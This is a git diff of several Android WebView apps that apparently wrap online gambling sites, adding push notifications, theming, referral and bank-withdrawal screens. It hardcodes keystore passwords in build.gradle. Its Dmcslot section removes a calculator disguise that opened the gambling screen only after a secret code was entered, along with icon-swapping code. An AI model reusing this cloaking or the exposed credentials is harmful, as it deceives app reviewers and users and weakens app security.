com.web.pokies83; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 185; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://93pokies.vip/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#5c0401"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#a10b05"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/93pokies/src/main/java/com/web/pokies83/MyFirebaseMessageingService.java b/93pokies/src/main/java/com/web/pokies83/MyFirebaseMessageingService.java new file mode 100644 index 0000000..f094aa9 --- /dev/null +++ b/93pokies/src/main/java/com/web/pokies83/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.pokies83; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/93pokies/src/main/java/com/web/pokies83/WebApplication.java b/93pokies/src/main/java/com/web/pokies83/WebApplication.java new file mode 100644 index 0000000..664a8e3 --- /dev/null +++ b/93pokies/src/main/java/com/web/pokies83/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.pokies83; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/93pokies/src/main/res/drawable-anydpi/ic_action_back.xml b/93pokies/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/93pokies/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/93pokies/src/main/res/drawable-hdpi/ic_action_back.png b/93pokies/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/93pokies/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/93pokies/src/main/res/drawable-mdpi/ic_action_back.png b/93pokies/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/93pokies/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/93pokies/src/main/res/drawable-v24/ic_launcher_foreground.xml b/93pokies/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/93pokies/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/drawable-xhdpi/ic_action_back.png b/93pokies/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/93pokies/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/93pokies/src/main/res/drawable-xxhdpi/ic_action_back.png b/93pokies/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/93pokies/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/93pokies/src/main/res/drawable/big_bg.xml b/93pokies/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..b150355 --- /dev/null +++ b/93pokies/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/drawable/ic_launcher_background.xml b/93pokies/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/93pokies/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/93pokies/src/main/res/drawable/input_bg.xml b/93pokies/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/93pokies/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/93pokies/src/main/res/drawable/pass_word_bg.xml b/93pokies/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/93pokies/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/93pokies/src/main/res/drawable/pass_word_bg1.xml b/93pokies/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/93pokies/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/drawable/pass_word_bg2.xml b/93pokies/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/93pokies/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/drawable/shape_btn_bg.xml b/93pokies/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/93pokies/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/drawable/shape_dialog_bg2.xml b/93pokies/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/93pokies/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/drawable/shape_dialog_bg3.xml b/93pokies/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/93pokies/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/drawable/shape_dialog_bg_new.xml b/93pokies/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/93pokies/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/93pokies/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/93pokies/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/93pokies/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/93pokies/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/mipmap-hdpi/ic_empty.png b/93pokies/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/93pokies/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/93pokies/src/main/res/mipmap-hdpi/ic_pull_down.png b/93pokies/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/93pokies/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/93pokies/src/main/res/mipmap-xhdpi/ic_close.png b/93pokies/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/93pokies/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/93pokies/src/main/res/mipmap-xhdpi/ic_menu.png b/93pokies/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/93pokies/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/93pokies/src/main/res/mipmap-xxhdpi/app_logo.jpg b/93pokies/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..963d8d6 Binary files /dev/null and b/93pokies/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/93pokies/src/main/res/values-en/strings.xml b/93pokies/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/93pokies/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/93pokies/src/main/res/values-night/themes.xml b/93pokies/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/93pokies/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/values/colors.xml b/93pokies/src/main/res/values/colors.xml new file mode 100644 index 0000000..059e9c0 --- /dev/null +++ b/93pokies/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #5c0401 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/93pokies/src/main/res/values/strings.xml b/93pokies/src/main/res/values/strings.xml new file mode 100644 index 0000000..49d3088 --- /dev/null +++ b/93pokies/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + 93POKIES + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/values/themes.xml b/93pokies/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/93pokies/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/xml/app_updater_paths.xml b/93pokies/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/93pokies/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/xml/network_security_config.xml b/93pokies/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/93pokies/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/93pokies/src/main/res/xml/provider_paths.xml b/93pokies/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/93pokies/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/93pokies/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/93pokies/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/93pokies/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/9kelab/build.gradle b/9kelab/build.gradle index 943e4eb..7180976 100644 --- a/9kelab/build.gradle +++ b/9kelab/build.gradle @@ -17,16 +17,16 @@ android { } signingConfigs { debug { - storeFile file('9kelab.jks') - storePassword "android2014" - keyAlias 'key0' - keyPassword "android2014" + storeFile file('oyen.jks') + storePassword "dskj123456" + keyAlias 'oyen' + keyPassword "dskj123456" } release { - storeFile file('9kelab.jks') - storePassword "android2014" - keyAlias 'key0' - keyPassword "android2014" + storeFile file('oyen.jks') + storePassword "dskj123456" + keyAlias 'oyen' + keyPassword "dskj123456" } } @@ -77,5 +77,5 @@ android { } dependencies { - implementation project(path: ':base') + implementation project(path: ':base_no_music') } \ No newline at end of file diff --git a/9kelab/oyen.jks b/9kelab/oyen.jks new file mode 100644 index 0000000..9552acf Binary files /dev/null and b/9kelab/oyen.jks differ diff --git a/9kelab/src/main/java/com/web/kelab9/MainActivity2.java b/9kelab/src/main/java/com/web/kelab9/MainActivity2.java index c6aaeb0..cb8b799 100644 --- a/9kelab/src/main/java/com/web/kelab9/MainActivity2.java +++ b/9kelab/src/main/java/com/web/kelab9/MainActivity2.java @@ -21,7 +21,16 @@ public class MainActivity2 extends com.web.base.MainActivity2 { saveInt(MainActivity2.this,"version_code",getVersion()); MainActivity.saveString(this, "base_url", "https://9kelab1.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#0299ec"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#131925"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity2.this,"is_white",1); super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); //订阅主题 FirebaseMessaging.getInstance().subscribeToTopic("demo") .addOnCompleteListener(new OnCompleteListener() { diff --git a/9kelab/src/main/res/drawable/big_bg.xml b/9kelab/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..7632f3d --- /dev/null +++ b/9kelab/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/9kelab/src/main/res/values-night/themes.xml b/9kelab/src/main/res/values-night/themes.xml index 4bf7105..c1926fa 100644 --- a/9kelab/src/main/res/values-night/themes.xml +++ b/9kelab/src/main/res/values-night/themes.xml @@ -52,17 +52,17 @@ false false @android:color/transparent - @color/white - @color/white - @color/white + @color/main_color + @color/main_color + @color/main_color false true - @color/white + @color/main_color - @color/white + @color/main_color false diff --git a/9kelab/src/main/res/values/colors.xml b/9kelab/src/main/res/values/colors.xml index ec06067..b4775d6 100644 --- a/9kelab/src/main/res/values/colors.xml +++ b/9kelab/src/main/res/values/colors.xml @@ -9,6 +9,7 @@ #FFFFFFFF #EF4723 #FFFFFFFF + #131925 #2C2C2E #FFA722 diff --git a/9kelab/src/main/res/values/themes.xml b/9kelab/src/main/res/values/themes.xml index a973841..5017572 100644 --- a/9kelab/src/main/res/values/themes.xml +++ b/9kelab/src/main/res/values/themes.xml @@ -54,17 +54,17 @@ false false @android:color/transparent - @color/white - @color/white - @color/white + @color/main_color + @color/main_color + @color/main_color false true - @color/white + @color/main_color - @android:color/transparent + @color/main_color false false diff --git a/Bbj/build.gradle b/Bbj/build.gradle index 5800ea2..b4c5bd1 100644 --- a/Bbj/build.gradle +++ b/Bbj/build.gradle @@ -92,5 +92,5 @@ android { } dependencies { - implementation project(path: ':base') + implementation project(path: ':base_no_music') } \ No newline at end of file diff --git a/Cashsweep/src/main/java/com/web/cashsweep/MyFirebaseMessageingService.java b/Cashsweep/src/main/java/com/web/cashsweep/MyFirebaseMessageingService.java index 67f2eca..e736f40 100644 --- a/Cashsweep/src/main/java/com/web/cashsweep/MyFirebaseMessageingService.java +++ b/Cashsweep/src/main/java/com/web/cashsweep/MyFirebaseMessageingService.java @@ -83,14 +83,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) @@ -129,14 +129,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) diff --git a/Dmcslot/src/main/AndroidManifest.xml b/Dmcslot/src/main/AndroidManifest.xml index fe88ffb..653c96a 100644 --- a/Dmcslot/src/main/AndroidManifest.xml +++ b/Dmcslot/src/main/AndroidManifest.xml @@ -28,10 +28,7 @@ - - + @@ -62,32 +59,11 @@ android:usesCleartextTraffic="true"> - - - - - - - - - - - - - - - - - - - - @@ -99,39 +75,7 @@ - - - - - - - - - - { + }); } - public void setListener() { - inputTextView = (TextView) findViewById(R.id.inputText); - outputTextView = (TextView) findViewById(R.id.outputText); - btn_0 = (Button) findViewById(R.id.btn_0); - btn_0.setOnClickListener(this); - btn_1 = (Button) findViewById(R.id.btn_1); - btn_1.setOnClickListener(this); - btn_2 = (Button) findViewById(R.id.btn_2); - btn_2.setOnClickListener(this); - btn_3 = (Button) findViewById(R.id.btn_3); - btn_3.setOnClickListener(this); - btn_4 = (Button) findViewById(R.id.btn_4); - btn_4.setOnClickListener(this); - btn_5 = (Button) findViewById(R.id.btn_5); - btn_5.setOnClickListener(this); - btn_6 = (Button) findViewById(R.id.btn_6); - btn_6.setOnClickListener(this); - btn_7 = (Button) findViewById(R.id.btn_7); - btn_7.setOnClickListener(this); - btn_8 = (Button) findViewById(R.id.btn_8); - btn_8.setOnClickListener(this); - btn_9 = (Button) findViewById(R.id.btn_9); - btn_9.setOnClickListener(this); - btn_point = (Button) findViewById(R.id.btn_point); - btn_point.setOnClickListener(this); - btn_equal = (Button) findViewById(R.id.btn_equal); - btn_equal.setOnClickListener(this); - btn_add = (Button) findViewById(R.id.btn_add); - btn_add.setOnClickListener(this); - btn_subtract = (Button) findViewById(R.id.btn_subtract); - btn_subtract.setOnClickListener(this); - btn_multiply = (Button) findViewById(R.id.btn_multiply); - btn_multiply.setOnClickListener(this); - btn_divide = (Button) findViewById(R.id.btn_divide); - btn_divide.setOnClickListener(this); - btn_backspace = (Button) findViewById(R.id.btn_backspace); - btn_backspace.setOnClickListener(this); - btn_clear = (Button) findViewById(R.id.btn_clear); - btn_clear.setOnClickListener(this); - } - - Handler handler = new Handler(); - - public void displayInput() { - inputTextView.setText(currentInput); - if (currentInput.toString().equals(MainActivity.getString(MainActivity.this, "loc_pass", ""))) { - toNextActivity(); - } - } - - private void toNextActivity() { -// changeIcon(true); - handler.postDelayed(() -> { - startActivity(new Intent(MainActivity.this, MainActivity2.class)); -// finish(); - }, 1000); - } - - /** - * 修改图标和名称的方法 - * - * @param enable - */ - public void changeIcon(boolean enable) { - PackageManager pm = getApplicationContext().getPackageManager(); - - if (enable) { - //显示Test图标 - pm.setComponentEnabledSetting(new ComponentName( - getBaseContext(), - "Tptogiar.calculcator.MainActivityNew"), - PackageManager.COMPONENT_ENABLED_STATE_ENABLED, - PackageManager.DONT_KILL_APP); - - //去掉HomeActivity图标 - pm.setComponentEnabledSetting(new ComponentName( - getBaseContext(), - "Tptogiar.calculcator.MainActivity"), - PackageManager.COMPONENT_ENABLED_STATE_DISABLED, - PackageManager.DONT_KILL_APP); - Log.d("TAG", "换Test的图标"); - } else { - //去掉HomeActivity图标 - pm.setComponentEnabledSetting(new ComponentName( - getBaseContext(), - "Tptogiar.calculcator.MainActivity"), - PackageManager.COMPONENT_ENABLED_STATE_ENABLED, - PackageManager.DONT_KILL_APP); - - //显示Test图标 - pm.setComponentEnabledSetting(new ComponentName( - getBaseContext(), - "Tptogiar.calculcator.Default"), - PackageManager.COMPONENT_ENABLED_STATE_DISABLED, - PackageManager.DONT_KILL_APP); - - - Log.d("TAG", "换Test的图标"); - } - } - - - public void displayAnswer(StringBuilder string) { - Pattern compile = Pattern.compile("[^0-9.-]"); - StringBuilder result = new StringBuilder(compile.matcher(string).replaceAll("")); - if (result.charAt(result.length() - 1) == '-') { - System.out.println(result.charAt(result.length() - 1)); - result.deleteCharAt(result.length() - 1); - } - System.out.println(result); - outputTextView.setText(result); - } - - public StringBuilder compute(StringBuilder str) { - Pattern pattern = Pattern.compile("([\\d.]+)\\s*([*/])\\s*([\\d.]+)"); - Matcher matcher = pattern.matcher(str.toString()); - while (matcher.find()) { - BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); - BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); - switch (matcher.group(2)) { - case "*": - first = first.multiply(second); - break; - case "/": - first = first.divide(second); - break; - } - str.replace(matcher.start(), matcher.end(), first.toString()); - matcher.reset(str.toString()); - } - - pattern = Pattern.compile("([\\d.]+)\\s*([+-])\\s*([\\d.]+)"); - matcher = pattern.matcher(str.toString()); - while (matcher.find()) { - BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); - BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); - switch (matcher.group(2)) { - case "+": - first = first.add(second); - break; - case "-": - first = first.subtract(second); - break; - - } - str.replace(matcher.start(), matcher.end(), first.toString()); - matcher.reset(str.toString()); - } - return str; - } - - public void addInput(String string) { - if (hasCount == false) { - currentInput.append(string); - } else { - currentInput = new StringBuilder(""); - hasCount = false; - currentInput.append(string); - } - displayInput(); - } - - - public String GETHASH() { + public int getVersion(){ try { - String value = "" + ""; - MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); - byte[] bytes = messageDigest.digest(value.getBytes(StandardCharsets.UTF_8)); - return byteToString(bytes); - } catch (NoSuchAlgorithmException e) { - return ""; + PackageManager packageManager = 